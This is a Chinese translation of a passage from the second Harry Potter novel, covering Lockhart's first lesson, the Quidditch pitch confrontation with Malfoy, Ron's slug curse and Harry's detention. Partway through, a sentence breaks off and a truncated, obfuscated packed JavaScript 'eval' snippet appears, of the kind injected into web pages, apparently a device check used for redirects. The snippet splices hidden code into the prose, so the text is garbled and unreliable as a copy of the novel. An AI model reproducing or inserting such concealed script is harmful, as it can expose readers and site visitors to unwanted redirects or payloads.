罗恩没有笑,显然还在想着那封吼叫信。“那个叫什么洛哈特的,”他们开始往花盆里装龙粪堆肥时,贾斯廷兴致勃勃地说,“真是个勇敢的人。你们看了他的书没有?我要是被一个狼人堵在电话亭里,早就吓死了,他却那么镇静——啧啧——真了不起。 “我本来是要上伊顿公学的,但后来上了这里,我别提多高兴了。当然,我妈妈有点失望,可是我让她读了洛哈特的书之后,我想她已经开始看到家里有个训练有素的巫师是多么有用...” 此后就没有多少机会交谈了。他们重新戴上了耳套,而且得集中精力对付曼德拉草。刚才看斯普劳特教授做得特别轻松,其实根本不是那样。曼德拉草不愿意被人从土里拔出来,可是好像也不愿意回去。他们扭动着身体,两脚乱蹬,挥着尖尖的小拳头,咬牙切齿。哈利花了整整十分钟才把一个特别胖的娃娃塞进盆里。 到下课时,哈利和其他同学一样满头大汗,腰酸背疼,身上沾满泥土。他们疲惫地走回城堡冲了个澡,然后格兰芬多的学生匆匆赶去上变形课。麦格教授的课总是很难,而今天是格外的难。哈利去年学的功课好像都在暑假期间从脑子里漏出去了。老师要他把一只甲虫变成纽扣,可是他费了半天的劲,只是让那甲虫锻炼了身体,甲虫躲着魔杖满桌乱跑,他怎么也点不着。 罗恩更倒霉,他借了一些魔胶带把魔杖修补了一下,但它好像是修不好了,不时地噼啪作响,发出火花。每次罗恩试图使甲虫变形时,马上便有一股灰色的、带臭鸡蛋味的浓烟把他包围了。他看不清东西,胳膊肘胡乱一动,把甲虫给压扁了,只好再去要一只,麦格教授不大高兴。 听到午饭的铃声,哈利如释重负,他的大脑像是一块拧干的海绵。大家纷纷走出教室,只留下他和罗恩。罗恩气急败坏地用魔杖敲着桌子。 “笨蛋...没用的...东西...” “写信回家再要一根。”哈利建议说,那根魔杖发出一连串爆竹般的脆响。 “是啊,再收到一封吼叫信,”罗恩说着,把开始咝咝作响的魔杖塞进书包,“你的魔杖断了全怪你自己——” 两人去礼堂吃午饭,赫敏给他们看了她用甲虫变的一把漂亮的纽扣,罗恩的情绪还不见好转。 “下午上什么课?”哈利连忙转换语题。 “黑魔法防御术。”赫敏马上说。 “咦,”罗恩抓过她的课程表,惊讶地说,“你为什么把洛哈特的课都用心形圈出来呢?” 赫敏一把夺回课程表,气恼地涨红了脸。 他们吃完饭,走到阴云笼罩的院子里。赫敏坐下来,又埋头读起了《与吸血鬼同船旅行》。哈利和罗恩站着聊了会儿魁地奇,后来哈利感到有人在密切地注视着自己。他抬起头,看到昨晚分院仪式上那个非常瘦小的灰头发小男孩正着了魔似的盯着自己。那男孩手里攥着一个东西,很像是普通的麻瓜照相机。哈利一看他,男孩的脸立刻变得通红。 “你好,哈利?我——我叫科林·克里维。”他呼吸急促地说,怯怯地向前走了一步。“我也在格兰芬多。你认为——可不可以——我能给你拍张照吗?”他一脸期望地举起了相机。 “照相?”哈利茫然地问。 “这样我可以证明见到你了。”科林热切地说,又往前挪了几步,“我知道你的一切。每个人都跟我说。你怎样逃过了神秘人的毒手,他怎样消失了等等,你额头上现在还有一道闪电形伤疤。”(他的目光在哈利的发际搜寻)“我宿舍的一个男孩说,如果我用了正确的显影药水,照片上的人就会动。” 科林深吸了一口气,兴奋得微微颤抖,“这儿真有意思,是不是?在收到霍格沃茨的信以前,我一直不知道我会做的那些奇怪的事就是魔法。我爸爸是送牛奶的,他也不能相信。所以我要拍一大堆照片寄给他看。要是能有一张你的照片——”他乞求地看着哈利·波特,“——也许我可以站在你旁边,请你的朋友帮着按一下?然后,你能不能签一个名?” “签名照片?你在送签名照片,波特?”德拉科·马尔福响亮尖刻的声音在院子里回荡。 他停在科林的身后,身旁是他的两个大块头、凶神恶煞的死党:克拉布和高尔。在霍格沃茨,这两人总是保镖似的跟在他左右。“大家排好队!”马尔福朝人群嚷道,“哈利·波特要发签名照片喽!” “我没有。”哈利气愤地说,攥紧了拳头,“闭嘴,马尔福。” “你是嫉妒。”科林尖声地说,他的整个身体只有克拉布的脖子那么粗。 “嫉妒?”马尔福说。他不需要再嚷嚷了,院子的人半数都在听着。“嫉妒什么?我可不想头上有一道丑陋的伤疤,谢谢。我不认为脑袋被人切开就会使你变得那么特殊。我不信!”克拉布和高尔傻笑起来。 “吃鼻涕虫去,马尔福。”罗恩生气地说。克拉布不笑了,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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到了洛哈特的教室,他终于放开了哈利。哈利把衣服扯平,走到最后排的一个位子坐下来,忙着把七本洛哈特的书堆在面前,免得看见那个真人。其他同学叽叽嘎嘎地聊着天走进教室,罗恩和赫敏在哈利两边坐下。 “你脸上可以煎鸡蛋了,”罗恩说,“你最好祈祷别让克里维遇见金妮,他们俩会发起一个哈利·波特崇拜者俱乐部的。” “别瞎说。”哈利急道。他生怕洛哈特听到“哈利·波特崇拜者俱乐部”这个说法。全班同学坐好后,洛哈特大声清了清嗓子,使大家安静下来。他伸手拿起纳威·隆巴顿的《与巨怪同行》举在手里,展示着封面上他本人眨着眼睛的照片。 “我,”他指着自己的照片,也眨着眼睛说,“吉德罗·洛哈特,梅林爵士团三等勋章,反黑魔法联盟荣誉会员,五次荣获《巫师周刊》最迷人微笑奖——但我不把那个挂在嘴上,我不是靠微笑驱除万伦的女鬼的!” 他等着大家发笑,有几个人淡淡地微笑了一下。 “我看到你们都买了我的全套著作——很好。我想咱们今天就先来做个小测验。不要害怕——只是看看你们读得怎么样,领会了多少...”他发完卷子,回到讲台上说:“给你们三十分钟。现在——开始!”; 哈利看着卷子,念道: 1.吉德罗·洛哈特最喜欢什么颜色? 2.吉德罗·洛哈特的秘密抱负是什么? 3.你认为吉德罗·洛哈特迄今为止的最大成就是什么?如此等等,整整三面纸,最后一题是:54.吉德罗·洛哈特的生日是哪一天?他理想的生日礼物是什么?半小时后,洛哈特把试卷收上去,当着全班同学翻看着。 “啧啧——几乎没有人记得我最喜欢丁香色。我在《与西藏雪人在一起的一年》里面提到过。有几个同学要再仔细读读《与狼人共度周末》——我在书中十二章明确讲过我理想的生日礼物是一切会魔法和不会魔法的人和睦相处——不过我也不会拒绝一大瓶奥格登陈年热火威士忌!” 他又朝他们调皮地眨了眨眼。罗恩现在带着不信任的神情瞅着他,前面的西莫·斐尼甘和迪安·托马斯不出声地笑得浑身发颤,可赫敏却全神贯注地聆听着,洛哈特突然提到了她的名字,把她吓了一跳。 “...可是赫敏·格兰杰小姐知道我的秘密抱负是消除世上的邪恶,以及销售我自己的系列护发水——好姑娘!事实上——”他把她的卷子翻过来,“一百分!赫敏格兰杰小姐在哪里?” 赫敏举起一只颤抖的手。“好极了!”洛哈特笑着说,“非常好!给格兰芬多加十分!现在,言归正传...”他弯腰从讲台后面拎出一只蒙着罩布的大笼子,放到桌上。 “现在——要当心!我的任务是教你们抵御魔法界所知的最邪恶的东西!你们在这间教室里会面对最恐怖的事物。但是记住,只要我在这儿,你们就不会受到任何伤害。我只要求你们保持镇静。” 哈利不由自主地从一堆书后面伸出头来,想好好看看那个笼子。洛哈特把一只手放在罩子上,迪安和西莫停止了发笑,第一排的纳威往后缩了缩。 “我必须请你们不要尖叫,”洛哈特压低声音说,“那会激怒它们的!” 全班同学屏住呼吸,洛哈特掀开了罩子。 “不错,”他演戏似的说,“刚抓到的康沃尔郡小精灵。” 西莫·斐尼甘忍不住发出了一声嗤笑,就连洛哈特也不可能以为那是惊恐的尖叫。 “怎么?”他微笑着问西莫。 “嗯,它们并不——它们不是非常——危险,对吗?”西莫笑得喘不过气来。 “不要这样肯定!”洛哈特恼火地朝他摇着指头说,“它们也可能是卡魔鬼一样狡猾的小破坏者!” 这些小精灵是铁青色的,大约八英寸高,小尖脸,嗓子非常尖厉刺耳,就好像是许多虎皮鹦鹉在争吵一样。罩子一拿开,它们就开始叽叽喳喳,上蹿下跳,摇晃着笼栅,朝近旁的人做各种古怪的鬼脸。 “好吧,”洛哈特高声说,“看看你们怎么对付它们!”他打开了笼门。 这下可乱了套。小精灵像火箭一样四处乱飞。其中两个揪住纳威的耳朵把他拎了起来。还有几个直接冲出窗外,在教室后排撤了一地碎玻璃。剩下的在教室里大肆搞起破坏,比一头横冲直撞的犀牛还要厉害。它们抓起墨水瓶朝全班乱泼,把书和纸撕成碎片,扯下墙上贴的图画,把废物箱掀了个底朝天,又把书包和课本从破窗户扔了出去。几分钟后,全班同学有一半躲到了桌子底下,纳威在枝形吊灯上荡着。“来来,把它们赶拢,把它们赶拢,它们不过是一些小精灵...”洛哈特喊道。他卷起衣袖,挥舞着魔杖吼道:“佩斯奇皮克西佩斯特诺米!” 全然无效,一个小精灵抓住洛哈特的魔杖,把它也扔出了窗外。洛哈特倒吸一口气,钻到了讲台桌下面,差点儿被纳威砸着,因为几乎是在同一秒钟内,枝形吊灯吃不住劲儿掉了下来。 下课铃响了,大家没命地冲出去。在此后相对的宁静中,洛哈特直起身子,看见已经走到门口的哈利、罗恩和赫敏,说道:“啊,我请你们三位把剩下的这些抓回笼子里去。”他赶在他们前面走出教室,一出去就把门关上了。 “你能相信他吗?”罗恩嚷道,一只小精灵咬住了他的耳朵,很痛。 “他只是想给我们一些实践的机会,”赫敏说,她聪明地甩了一个冰冻魔咒,把两个小精灵给冻住了,塞回笼子里。 “实践?”哈利想抓住一只小精灵,但它轻盈地闪开了,还朝他吐着舌头,“赫敏,他根本不知道自己在干什么。” “胡说,”赫敏说,“你们都看过他的书——想想他做的那些惊人的事情吧...” “只是他自己说他做过。”罗恩嘀咕道。 26. 泥巴种与细语 在以后的几天里,哈利一看见吉德罗·洛哈特从走廊那头走来,就赶紧躲着走。但更难躲开的是科林·克里维,他似乎把哈利的课程表背了下来。对科林来说,好像世界上最激动人心的事,就是每天说六七次“你好,哈利?”并听到“你好,科林。”的回答,不管哈利回答的语气有多么无奈和恼怒。 海德薇还在为灾难性的汽车之旅而生哈利的气,罗恩的魔杖依然不正常,星期五上午更加出格。它在魔咒课上从罗恩手中飞了出去,打中了矮小的弗立维教授的眉心。那儿立刻就鼓起了一个绿色的大包,扑扑跳动着。由于这种种情况,哈利很高兴终于熬到了周末。他、罗恩和赫敏打算星期六早上去看海格。可是哈利一早就被格兰芬多魁地奇队队长奥利弗·伍德摇醒了,他本来还想再睡几个小时的。 “什——什么事?”哈利迷迷糊糊地说。 “魁地奇训练!”伍德说,“快起来!” 哈利眯眼看看窗外,粉红淡金的天空中笼罩着一层薄薄的轻雾。外面的鸟叫声那么响亮,他奇怪自己刚才怎么没被吵醒。 “奥利弗,”哈利抱怨道,“天刚刚亮啊。” “没错,”伍德是一个高大结实的六年级学生,此刻他眼睛里闪着狂热的光芒,“这是咱们新训练方案的一部分。快点儿,拿着你的飞天扫帚,跟我走。”伍德急切地说,“别的队都还没有开始训练,咱们今年要抢个第...” 哈利打着哈欠,微微哆嗦着,从床上爬了起来,开始找他的队服。“好伙计,”伍德说,“一刻钟后在球场见。” 哈利找到了他的大红队服,并且为了防寒披上了他的斗篷。他匆匆给罗恩留了一个条子,便顺着旋转楼梯向休息室走去,肩上扛着他那把光轮2000。刚走到肖像背后的洞口,忽昕身后一阵啪哒啪哒的脚步声,科林·克里维从楼梯上奔下来,脖子上的照相机剧烈摆动着,手里攥着什么东西。 “哈利!我在楼梯上听到有人喊你的名字。看我带来了什么!照片洗出来了,我想让你看看——” 哈利愣愣地看着科林向他挥舞的那张照片。 一个黑白的、会动的洛哈特正在使劲拽着一只胳膊,哈利认出那胳膊是自己的。他高兴地看到照片上的自己奋力抵抗,不肯被拖进去。洛哈特终于放弃了,朝着照片的白边喘气。 “你能给签个字吗?”科林急切地问。 “不行。”哈利断然地说,扫了一眼周围是否还有别人,“对不起,科林,我有急事——魁地奇训练。” 他从肖像洞口爬了出去。 “哇!等等我!我从来没看过打魁地奇!” 科林急忙跟着爬出来。 “很枯燥的。”哈利忙说,可是科林不听,兴奋得脸上放光。 “你是一百年来最年轻的学院队球员,对吗,哈利?你是吧?”科林在他旁边小跑着说,“你一定特棒。我从来没有飞过,难不难?这是你的飞天扫帚吗?它是不是最好的?” 哈利不知道怎么才能摆脱他,就好像身边跟了个特别爱说话的影子。“我不大懂魁地奇,”科林神往地说,“是不是有四个球?其中两个飞来飞去,要把球员从飞天扫帚上撞下来?” “对,”哈利吐了口粗气,无可奈何地开始解释魁地奇的复杂规则,“它们叫游走球。每个队有两名队员用棍子把游走球赶开。弗雷德和乔治·韦斯莱是格兰芬多的击球手。” “其他的球是于什么用的?”科林问,张嘴望着哈利,下楼梯时绊了一下。“哦,鬼飞球,就是那个红色的大球,是进球得分用的。每个队有三名追球手把鬼飞球传来传去,设法使它穿过球场顶头的球门,就是三根顶上有圆环的长柱。” “第四个球——” “——叫金色飞贼,”哈利说,“它非常小,非常快,很难抓到。可是找球手必须把它抓住,因为不抓住飞贼,魁地奇比赛就不会结束。抓到飞贼能加一百五十分。” “你是格兰芬多的找球手,是吗?”科林钦佩地问。 “是。”哈利说,他们离开城堡,走到带着露水的草地上,“还有一个守门员,负责把守球门。就是这样。” 可是在沿草坡走向球场的一路上,科林仍然不停地问这问那,一直到更衣室门口,哈利才把他甩掉。科林在他身后尖声叫道:“我去找个好座位,哈利!”然后匆匆向看台跑去。 格兰芬多队的其他球员已经在更衣室了。看上去只有伍德是完全醒了。弗雷德和乔治·韦斯莱坐在那里,眼圈浮肿,头发乱蓬蓬的。旁边的四年级女生艾丽娅·斯平内特好像靠在墙上打起了瞌睡。另两名追球手,凯蒂·贝尔和安吉利娜·约翰逊坐在对面,连连打着哈欠。 “你来了,哈利,怎么这么晚?”伍德精神抖擞地说,“好,在上球场之前,我想简单说几句,我这一暑假在家设计出了一套新的训练方案,我想一定有效...” 伍德举起一块魁地奇球场的大型示意图,上面绘有各种颜色的线条、箭头和叉叉。他取出魔杖,朝图板上一点,那些箭头就像毛毛虫一样在图上蠕动起来。伍德开始讲解他的新战术,弗雷德韦斯莱的头垂到了艾丽娅的肩上,打起了呼噜。 第一块图板用了将近二十分钟才讲完,可是它下面还有第二块、第三块。伍德单调的声音在那里讲啊讲啊,哈利进入了恍惚状态。 “就这样,”伍德终于说,一下子把哈利从幻想中惊醒了,因为他这时正在想城堡里会吃些什么早点,“清楚了吗?有什么问题?” “我有个问题,奥利弗,”刚刚惊醒过来的乔治说,“你为什么不在昨天我们都醒着的时候跟我们说呢?”伍德有些不快。 “听着,伙计们,”他沉着脸说,“我们去年就该赢得魁地奇奖杯的。我们的水平明显高于其他球队,不幸的是,由于一些我们无法控制的情况...” 哈利在椅子上内疚地动了动,去年最后决赛时他躺在医院里,昏迷不醒,格兰芬多少了一个球员,结果遭到了三百年来最大的惨败。 伍德用了一些时间控制住自己的情绪,上次失败的痛楚显然还在折磨着他。 “所以今年我们要加倍地发奋苦练...好,去把我们的新理论付诸实践吧!” 伍德大声说,抓起他的扫帚,带头走出了更衣室;他的队员们打着哈欠,拖着麻木的双腿跟在后面。 他们在更衣室里待了那么久,太阳都已经升得老高了,但体育场的草坪上还飘浮着一些残雾。哈利走进球场时,发现罗恩和赫敏坐在看台上。 “还没练完呀?”罗恩不相信地问。 “还没开始练呢,”哈利羡慕地看着罗恩和赫敏从大礼堂里带出来的面包和果酱,“伍德给我们讲了新战术。” 他骑上扫帚,用脚蹬地,嗖地飞了起来。凉爽的晨风拍打着他的面颊,比起伍德的长篇大论来,一下子就让他清醒多了。回到魁地奇球场感觉真好。他以最快的速度绕着体育场高飞,与弗雷德和乔治比赛。 “哪里来的咔嚓声?”他们疾速转弯时,弗雷德喊道。 哈利朝看台上望去。科林坐在最高一排的座位上,举着照相机,一张接一张地拍着,在空旷的体育场里,快门的声音被奇怪地放大了。 “朝这边看,哈利!”科林尖声喊道。 “那是谁?”弗雷德问。 “不知道。”哈利撒了个谎,猛然加速,尽可能地远离科林。 “怎么回事?”伍德飞到他们身边,皱着眉头问,“那个新生为什么拍照?我不喜欢。他可能是斯莱特林的奸细,想刺探我们的新训练方案。” “他是格兰芬多的。”哈利忙说。 “斯莱特林的人也不需要奸细,奥利弗。”乔治说。 “你怎么知道?”伍德暴躁地问。 “因为他们自己来了。”乔治指着下面说。 几个穿着绿袍子的人走进球场,手里都拿着飞天扫帚。 “我简直不能相信!”伍德愤慨地压着声音说,“我包了今天的球场!我们倒要看看!” 伍德冲向地面,因为怒气冲冲,落地时比他预想的重了一些。他有些摇晃地跨下扫帚。哈利、弗雷德和乔治跟着落了下来。 “弗林特!”伍德冲斯莱特林队的队长吼道,“这是我们的训练时间!我们专门起了个大早!请你们出去!” 马库斯·弗林特比伍德还要魁梧。他带着巨怪般的狡猾神情答道:“这里地方很大,伍德。” 艾丽娅、安吉利娜和凯蒂也寻声过来了。斯莱特林队的队员中没有女生,他们肩并肩站成一排,带着一模一样的神气斜眼瞟着格兰芬多队的队员。 “可是我包了球场!”伍德厉声说,“我包下了!” “噢,”弗林特说,“可我有斯内普教授特签的条子。本人,斯内普教授,允许斯莱特林队今日到魁地奇球场训练,培训他们新的找球手。” “你们新添了一名找球手?”伍德的注意力被转移了,“在哪儿?” 从六个高大的队员身后闪出了一个身量较小的男生,苍白的尖脸上挂着一副得意的笑容。正是德拉科·马尔福。 “你不是卢修斯·马尔福的儿子吗?”弗雷德厌恶地问。 “你居然提到德拉科的父亲,有意思,”斯莱特林队的全体队员笑得更得意了,“那就请你看看他慷慨送给斯莱特林队的礼物吧。” 七个人一齐把扫帚往前一举,七根崭新的、光滑锃亮的飞天扫帚,七行漂亮的金字“光轮200l”,在早晨的阳光下晃着格兰芬多队员的眼睛。 “最新型号,上个月刚出来的,”弗林特不在意地说,轻轻掸去他那把扫帚顶上的一点灰尘,“我相信它比之前的光轮2000系列快得多。至于老式的横扫七星,”他不怀好意地朝弗雷德和乔治笑了一下,他们俩手里各攥着一把横扫七星5号,“用它们扫地板吧。” 格兰芬多队的队员一时都说不出话来。马尔福笑得那么开心,冷漠的眼睛都变成了一条缝。 “哦,看哪,”弗林特说,“有人闯进了球场。” 罗恩和赫敏从草坪上走过来看看出了什么事。 “怎么啦?”罗恩问哈利,“你们怎么不打球?他在这儿干什么?” 罗恩吃惊地看着正在穿斯莱特林魁地奇队队服的马尔福。 “我是斯莱特林队的新找球手,韦斯莱,”马尔福洋洋自得地说,“刚才大家在欣赏我爸爸给我们队买的扫帚。” 罗恩目瞪口呆地望着面前那七把高级的扫帚。 “很不错,是不是?”马尔福和颜悦色地说,“不过,也许格兰芬多队也能搞到一些金子买几把新扫帚呢。你们可以兑奖出售那些横扫七星5号,我想博物馆会出价要它们的。” 斯莱特林的队员们粗声大笑。 “至少格兰芬多队中没有一个队员需要花钱才能入队,”赫敏尖刻地说,“他们完全是凭能力进来的。” 马尔福得意的脸色暗了一下。 “没人问你,你这个臭烘烘的小泥巴种。”他狠狠地说。 哈利马上知道马尔福说了句很难听的话,因为它立即引起了爆炸性的反应。弗林特不得不冲到德拉科前面,防止弗雷德和乔治扑到他身上。艾丽娅尖叫道:“你怎么敢!” 罗恩伸手从袍里拔出魔杖,高喊着:“你要为它付出代价,马尔福!”他狂怒地从弗林特的臂膀下面指着马尔福的脸。 巨大的爆炸声响彻了整个体育场,一道绿光从魔杖后部射出来,击中了罗恩的腹部,撞得他趔趄两步倒在地上。 “罗恩!罗恩!你没事吧?”赫敏尖叫道。罗恩张嘴想回答,却没有吐出话来,而是打了个大嗝,几条鼻涕虫从他嘴里落到了大腿上。 斯莱特林队的队员们都笑瘫了。弗林特笑得直不起腰,用新扫帚支撑着。马尔福四肢着地,两个拳头捶着地面。格兰芬多队的队员围在罗恩身边,他不断地吐出亮晶晶的大鼻涕虫。似乎没有人愿意碰他。 “我们最好带他到海格那儿去,那儿最近。”哈利对赫敏说,她勇敢地点了点头。他们俩拽着罗恩的胳膊把他拉了起来。 “怎么了,哈利?怎么了?他病了吗?但你能治好他的,是不是?”科林跑了过来,连蹦带跳地跟着他们走出球场。罗恩身体剧烈地起伏了一下,更多的鼻涕虫落到了他胸前。“哦——”科林大感兴趣地举起照相机,“你能把他扶住不动吗,哈利?” “走开,科林!”哈利生气地说。他和赫敏扶着罗恩走出体育场,朝森林边上走去。 “快到了,罗恩,”赫敏说,狩猎场看守的小屋出现在眼前,“你一会儿就会没事了...就快到了...” 他们走到离海格的小屋只有二十来步对,房门忽然开了,但踱出来的不是海格,而是吉德罗·洛哈特,他今天穿了一身最淡的淡紫色长袍。“快躲起来。”哈利小声说,拉着罗恩藏到最近的一丛灌木后面。赫敏也跟着藏了起来,但有点不情愿。“如果你会了的话,做起来是很简单的!”洛哈特在高声对海格说话,“如果需要什么帮助,尽管来找我,你知道我在哪儿!我会给你一本我写的书——我很惊讶你竟然还没有一本。我今晚就签上名字送过来。好,再见!”他大步朝城堡走去。 哈利一直等到洛哈特走得看不见了,才把罗恩从灌木丛后面拉出来,走到海格的门前,急迫地敲门。海格马上出来了,一脸怒气,可是一看清门外是他们,立刻眉开眼笑了。“一直在念叨你们什么时候会来看我——进来,进来——我刚才还以为是洛哈特教授又回来了呢。” 哈利和赫敏搀着罗恩跨过门槛,走进小屋,一面墙角摆着一张特大的床,另一面,炉火在欢快地噼啪作响。哈利扶罗恩坐到椅子上,急切地对海格讲了罗恩吐鼻涕虫的情况,海格似乎并不怎么担心。 “吐出来比咽下去好,”他愉快地说,找了只大铜盆搁在罗恩面前,“吐进来,罗恩。” “我想除了等它自己停止之外没有别的办法,”看着罗恩俯在铜盆上面,赫敏忧虑地说,“即使在最好的条件下,那也是一个很难施展的魔咒,你用一根破魔杖...” 海格忙着给他们煮茶。他的大猎狗牙牙把口水滴到了哈利身上。 “洛哈特来你这儿干吗,海格?”哈利挠着牙牙的耳朵问。 “教我怎么防止水妖钻进水井,”海格愤愤地说,从擦得很干净的桌子上拿走一只拔了一半毛的公鸡,摆上茶壶,“好像我不知道似的。还吹嘘他怎么驱除女鬼。其中要有一句是真的,我就把茶壶给吃了。” 批评霍格沃茨的教师,这完全不像海格的为人,哈利吃惊地看着他。赫敏则用比平常稍高的声调说:“我想你有点不公正,邓布利多教授显然认为他是最合适的人选——” “是唯一的人选,”海格给他们端上一盘乳脂软糖,罗恩对着脸盆吭吭地咳着,“我是说唯一的一个。现在找一个黑魔法防御术课老师很困难,人们都不大想干,觉得这工作不吉利。没有一个干得长的。告诉我,”海格扭头看着罗恩说,“他想咒谁来着?” “马尔福骂了赫敏一句,一定是很恶毒的话,因为大家都气坏了。” “非常恶毒,”罗恩嘶哑地说,在桌子边上露出头来,脸色苍白,汗涔涔的,“马尔福叫她‘泥巴种’,海格——” 罗恩忙又俯下身,新的一批鼻涕虫冲了出来。 海格显得很愤慨。“是真的吗?”他看着赫敏吼道。 “是的,”她说,“可我不知道那是什么意思。当然,我听得出它非常粗鲁...” “这是他能想到的最侮辱人的话,”罗恩又露出头来,气喘吁吁地说,“泥巴种是对麻瓜出身的人——也就是父母都不会魔法的人的诬蔑性称呼。有些巫师,像马尔福一家,总觉得他们比其他人优越,因为他们是所谓的纯种。”他打了个小嗝,一条鼻涕虫掉到他 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“哈利,”海格好像突然想到什么似的说,“我要跟你算算账。听说你发签名照片了,我怎么没拿到啊?”哈利怒不可遏,使劲张开被粘住的嘴。 “我没发签名照片,”他激烈地抗议道,“要是洛哈特还在散布这种谣言——” 可是他看到海格笑了。“我是开玩笑,”他亲切地拍了拍哈利的后背,拍得哈利的脸磕到了桌面上。 “我知道你没有。我告诉洛哈特你不需要那样做。你不用花心思就已经比他有名了。” “我敢说他听了不大高兴。”哈利坐直身体,揉着下巴说。 “我想是不大高兴,”海格眼里闪着光,“然后我又对他说我从来没读过他的书,他就决定告辞了。来点儿乳脂软糖吗,罗恩?”看到罗恩又抬起头来,他问了一句。 “不,谢谢,”罗恩虚弱地说,“最好不要冒险。” “来看看我种的东西吧。”哈利和赫敏喝完茶之后,海格说。小屋后面的菜地里,结了十二个大南瓜。哈利从来没见过这么大的南瓜,每个足有半人高。“长得还不错吧?”海格喜滋滋地说,“万圣节宴会上用的——到那时就足够大了。” “你给它们施了什么肥?”哈利问。海格左右看看有没有人。 “嘿嘿,我给了它们一点儿——怎么说呢——一点儿帮助。” 哈利发现海格那把粉红色的伞靠在小屋后墙上。哈利原先就有理由相信,这把雨伞绝不像看起来的那么普通。实际上,他非常疑心海格上学时用的旧魔杖就藏在伞里。海格是不能使用魔法的。他上三年级时被霍格沃茨开除了,但哈利一直没搞清为什么。一提到这件事情,海格就会大声清一清嗓子,神秘地装聋作哑,直到话题转移。 “是膨胀魔咒吧?”赫敏有几分不以为然,可又觉得非常有趣,“哦,你干得很成功。” “你的小妹妹也是这么说的。”海格朝罗恩点着头说,“昨天刚见到她。”海格瞟了哈利一眼,胡子抖动着。“她说随便走走看看,我想她大概是希望在我屋里碰到什么人吧。”他朝哈利眨了眨眼。“要我说,她是不会拒绝一张签名——” “哎呀,别胡说。”哈利急道。罗恩扑哧一声笑起来,鼻涕虫喷到了地上。 “当心!”海格吼了一声,把罗恩从他的宝贝南瓜旁边拉开。 快到吃午饭的时间了,哈利从清早到现在只吃了一点乳脂软糖,所以一心想回学校吃饭。三人向海格道别,一起走回城堡,罗恩偶尔打一个嗝,但只吐出两条很小的鼻涕虫。 刚踏进阴凉的门厅,就昕一个声音响起。“你们回来了,波特、韦斯莱,”麦格教授板着脸向他们走来,“你们俩晚上留下来。” “我们要做什么,老师?”罗恩问,一面紧张地忍住一个嗝。“你去帮费尔奇先生擦奖品陈列室里的银器,”麦格教授说,“不许用魔法,韦斯莱——全用手擦。”罗恩倒吸一口气。看门人费尔奇是所有学生都憎恨的人。 “波特,你去帮洛哈特教授给他的崇拜者回信。”麦格教授说。 “啊,不要,我也去擦奖品行吗?”哈利绝望地乞求。 “当然不行,”麦格教授扬起眉毛,“洛哈特教授点名要你。你们俩记住,晚上八点整。” 哈利和罗恩垂头丧气地走进大礼堂,赫敏跟在后面,脸上的表情仿佛是说:“你们的确违反了校规嘛。”饭桌上,连肉馅土豆泥饼都提不起哈利的胃口。他和罗恩都觉得自己比对方更倒霉。 “费尔奇可要了我的命了,”罗恩哭丧着脸说,“不用魔法!那间屋里起码有一百个奖杯呢。我又不像麻瓜们那样擅长擦洗。” “我随时愿意跟你换,”哈利没精打采地说,“擦擦洗洗的这类活儿,我在德思礼家没少练过。可是给洛哈特的崇拜者回信...那准像一场噩梦..” 星期六下午不知不觉就过去了,一晃就到了八点差五分,哈利满不情愿地拖动双脚,沿三楼走廊向洛哈特的办公室走去。他咬咬牙,敲响了房门。 门立刻开了,洛哈特满面笑容地看着他。 “啊,小坏蛋来了!进来,哈利,进来吧。” 墙上挂着数不清的洛哈特的相框,被许多支蜡烛照得十分明亮。有几张上甚至还有他的签名。桌上也放着一大叠照片。 “你可以写信封!”洛哈特对哈利说,仿佛这是多大的恩赐似的,“第一封给格拉迪丝女士,上帝保佑她——我的一个热烈的崇拜者。” 时间过得像蜗牛爬。哈利听凭洛哈特在那里滔滔不绝,只偶尔答一声“唔”、“啊”、“是”。有时有那么一两句刮到耳朵里,什么“名气是个反复无常的朋友,哈利”,或“记住,名人就得有名人的架子”。 蜡烛烧得越来越短,火光在许多张注视着他们的、会动的洛哈特的面孔上跳动。哈利用酸痛的手写着维罗妮卡·斯美斯丽的地址,感觉这是第一千个信封了。时间快到了吧,哈利痛苦地想,求求你快到吧...突然他听到了一种声音——一种与残烛发出的噼啪声或洛哈特的絮叨完全不同的声音。 是一个说话声,一个令人毛骨悚然、呼吸停止、冰冷恶毒的说话声。“来...过来...让我撕你...撕裂你...杀死你...”哈利猛地一跳,维罗妮卡·斯美斯丽地址的街道名上出现了一大团丁香色的墨渍。“什么?”他大声说。 “我知道!”洛哈特说,“六个月连续排在畅销书榜首!空前的记录!” “不是,”哈利发狂地说,“那个声音!” “对不起,”洛哈特迷惑地问道,“什么声音?” “那个——那个声音说——你没听见吗?”洛哈特十分惊愕地看着哈利。 “你在说什么,哈利?你可能有点犯困了吧?老天爷——看看都几点了!我们在这儿待了将近四个小时!我真不敢相信——时间过得真快。是不是?” 哈利没有回答。他竖起耳朵听那个声音,可是再也没有了,只听见洛哈特还在对他唠叨,说他别指望每次被罚留校都有这么好的运气。哈利带着一肚子疑惑离开了。 格兰芬多的公共休息室里几乎没有人了。哈利直接上楼回到宿舍,罗恩还没有回来。哈利穿上睡衣,躺到床上等着。一小时后,罗恩揉着右胳膊进来了,给黑暗的房间里带来一股去污光亮剂的气味。 “我的肌肉都僵了。”他呻吟着倒在床上,“他让我把那个魁地奇奖杯擦了十四遍才满意。后来我在擦一块‘对学校特殊贡献奖’的奖牌时,又吐了一回鼻涕虫,花了一个世纪才擦掉那些黏液...洛哈特那儿怎么样?” 哈利压低嗓门,免得吵醒纳威、迪安和西莫,把他听到的声音告诉了罗恩。 “洛哈特说他没听见?”罗恩问。月光下,哈利看到罗恩皱着眉头。“你觉得他是撒谎吗?可我想不通——就是隐形人也需要开门啊。” “是啊,”哈利躺下去,盯着四柱床的顶篷,“我也想不通。” 27. 忌辰晚会 十月来临了,湿乎乎的寒气弥漫在场地上,渗透进城堡。教工和学生中间突然流行起了感冒,弄得护士长庞弗雷夫人手忙脚乱。她的提神剂有着立竿见影的效果,不过喝下这种药水的人,接连几个小时耳朵里会冒烟。金妮·韦斯莱最近一直病恹恹的,被珀西强迫着喝了一些提神剂。结果,她鲜艳的头发下冒出一股股蒸气,整个脑袋像着了火似的。 